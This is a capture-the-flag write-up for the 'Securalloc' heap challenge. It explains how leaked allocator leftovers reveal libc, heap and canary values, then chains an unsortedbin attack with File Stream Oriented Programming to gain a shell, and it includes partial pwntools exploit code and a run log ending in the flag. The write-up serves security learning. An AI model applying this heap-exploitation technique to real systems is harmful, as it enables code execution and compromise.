Securalloc
Points
167
Solves
26
Category
Warm-up PwnableDescription:
The key to success in the battlefield is always the secure allocation of resources!
nc 76.74.177.238 9001
libc.so.6
libsalloc.so
securalloc.elf
TLDR
- Leak libc from _IO_2_1_stderr leftover
- Leak heap from _IO_2_1_stderr leftover
- Leak heap canary from /dev/random leftover
- Apply House of Orange and get a shell.
Extract information
We have an extra shared library libsalloc.so to analyse but first lets check the security on securalloc.elf:
1 | $ checksec securalloc.elf |
Full RELRO is enabled so GOT is read only this is something that we always should take in mind before proceeding any further.
Identifying the vulnerability
Now lets check for a vulnerability :
Elf analysis
Like other heap challenges we will have the classic functions print, create, delete and edit but this time we have an additional shared library named libsalloc.so and the functions used from it are:
secureinit
Opening libsalloc.so in ida we can see it uses fopen to open /dev/urandom to create a canary:
And why this is bad ? Looking at fopen internals:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
_IO_lock_t lock;
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE)); // malloc call here
if (new_f == NULL)
return NULL;
new_f->fp.file._lock = &new_f->lock;
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_new_file_init_internal (&new_f->fp);
if (_IO_file_fopen ((FILE *) new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap (&new_f->fp.file);
_IO_un_link (&new_f->fp);
free (new_f); // free call here
return NULL;
}
So a malloc of struct locked_FILE is executed, this struct will store IO_FILE pointers and the /dev/urandom data.
struct _IO_FILE_plus
1 | /* We always allocate an extra word following an _IO_FILE. |
Look in memory after running fopen:
struct _IO_wide_data1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
The look in memory:
1 | pwndbg> p *((_IO_lock_t*)0x000055dc452ed0f0) [33/1706] |
The /dev/urandom data:
This data is freed but not cleared which means later we can leak this data by overlapping new chunks and use the print function to leak libc, heap and even the heap canary created by this library.
securealloc
securealloc adds 0x10 more bytes to the allocated space to store a canary at the end of the chunk and the size at the beginning:
1 | _DWORD *__fastcall secure_malloc(unsigned int size) |
There is an integer overflow at malloc(size + 0x10) this could also be used to bypass the canary unfortunately the canary is going to be stored at a very high heap address which is unmapped we would have to expand the heap multiple times to get a mappable address, while this is feasible to do it locally it isn’t remotely because while there is a limit restriction of memory on the server we also would take 1 or 2 hours to do it (because we are communicating remotely).
securefree
There is a double free verification and also wipes out the chunk data before freeing.1
2
3
4
5
6
7
8
9
10
11
12
13
14void __fastcall secure_free(__int64 a1)
{
int v1; // [rsp+18h] [rbp-8h]
if ( a1 )
{
v1 = *(_DWORD *)(a1 - 8);
if ( *(_DWORD *)(a1 - 4) - v1 != 1 )
__abort((__int64)"*** double free detected ***: <unknown> terminated");
__heap_chk_fail(a1);
memset((void *)(a1 - 8), 0, (unsigned int)(v1 + 16));
free((void *)(a1 - 8));
}
}.
_heap_chk_fail
this the function that verifies if there is a heap overflow.
1 | __int64 __fastcall _heap_chk_fail(__int64 a1) |
LEAK heap and libc address
This the looks of the memory after secure_init:
To leak both we can first allocate a chunk of 0x60 and then 0x30 (this one leaks heap) and then 0x10 (this one will leak IO_JUMP libc address).
The python code to do this:
1 | add(0x60) # this one is freed for a reason this will be explained later |
Leak canary
The canary is located at /dev/urandom data:
We do the same thing by allocating first a chunk of data 0x140 and then 0x8:
1 | # leak heap canary (/dev/urandom buffer) |
House of Orange
This isn’t exactly house of orange, house of orange usually is used when there isn’t a possibility of using a free by forcing the heap to expand by triggering sysmalloc when the top_chunk has no more space to allocate freeing the topchunk…
In our case we just want to convert the freed 0x60 sized chunk we freed previously into a smallbin.
When there is a large request(largebin size is enough) of malloc, a consolidation happens in order to prevent fragmentation. Every fastbin is moved to the unsortedbin, consolidates if possible, and finally goes to smallbin.
Later we use an unsortedbin attack with File Stream Oriented Programming to get a system(‘/bin/sh’) shell.
So this is the moment right before we allocate a chunk of 0x3e0 (0x3e0+0x10 > 1000 in decimal):
Now after executing malloc this fastbin chunk will be transformed into a smallbin:
File Stream Oriented Programming
We know that ROP can be used to hijack the control flow of the program, this can also be achieved by using file stream oriented programming but this one is achieved through an attack at File Stream.
We need to first understand malloc error message, which malloc_printerr is the function used to print the error:
1 | if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) |
the function is calls __libc_message after the abort function is called. The structure inside is used here, and the method of calling the virtual table is triggered.
abort -> _IO_flush_all_lockp -> _IO_list_all
We can use the heap overflow to change the smallbin bk and implement the unsortbin attack, bk address should point to _IO_list_all -0x10 so we can corrupt _IO_list_all.
In the end the unsortedbin attack will change the pointer of _IO_list_all into a location in main_arena, which will make _chain pointer of _IO_list_all to a fake IO_FILE (This fake IO_FILE will be located in heap).
Here is how _IO_list_all looks in memory:
1 | pwndbg> p *((struct _IO_FILE_plus*)0x7f742fb8db78) |
We need to forge an IO file that meets some specifications:
1 | if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) |
Also need to change vtable address to a place we can control in this case I used a place on the heap.
We need then the _IO_OVERFLOW pointer to be setted to system, the fp header is set to /bin/sh.
we first allocate a chunk of size 0x0 but with the summation of securealloc the size will be 0x0+0x10 =0x10, this will create a small chunk and it’s going to be allocated in the space of the first chunk we freed taking up 0x10 of it’s space, and create a new unsortedbin as we can see below:
This is the payload we want to use:
1 | payload = p64(HEAPCANARY) # rewrite canary to avoid security trigger |
Creating the chunks:
1 | add(0x0) # create 0x21 chunk |
The data after the overflow:
The exploit is not very reliable and sometimes fails so I putted it in an infinite loop to avoid rerunning the script at failurers:
1 | from pwn import * |
Running it:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40$ python securalloc.py REMOTE
[*] '/ctf/work/pwn/securalloc/securalloc.elf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/work/pwn/securalloc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 76.74.177.238 on port 9001: Done
[*] HEAPADDR 0x565285b230f0
[*] HEAP 0x565285b23000
[*] IO_file_jumps 0x7f1728c6b6e0
[*] LIBC 0x7f17288a8000
[*] HEAPCANARY 0x1ecb79a1e3203a00
[*] Closed connection to 76.74.177.238 port 9001
[+] Opening connection to 76.74.177.238 on port 9001: Done
[*] HEAPADDR 0x5643a10cb0f0
[*] HEAP 0x5643a10cb000
[*] IO_file_jumps 0x7fde0d99b6e0
[*] LIBC 0x7fde0d5d8000
[*] HEAPCANARY 0x816203195eb4af00
[*] Closed connection to 76.74.177.238 port 9001
[+] Opening connection to 76.74.177.238 on port 9001: Done
[*] HEAPADDR 0x55e2209950f0
[*] HEAP 0x55e220995000
[*] IO_file_jumps 0x7effb1b836e0
[*] LIBC 0x7effb17c0000
[*] HEAPCANARY 0xda7a7dfc7356dd00
[*] Switching to interactive mode
drwxr-xr-x 1 root root 4.0K Nov 13 12:35 ..
-r--r----- 1 root pwn 33 Aug 22 10:26 flag.txt
-r-xr-x--- 1 root pwn 10K Aug 22 09:08 chall
-r-xr-x--- 1 root pwn 37 Aug 22 05:02 redir.sh
$ cat flag.txt
ASIS{l3ft0v3r_ru1n3d_3v3ryth1ng}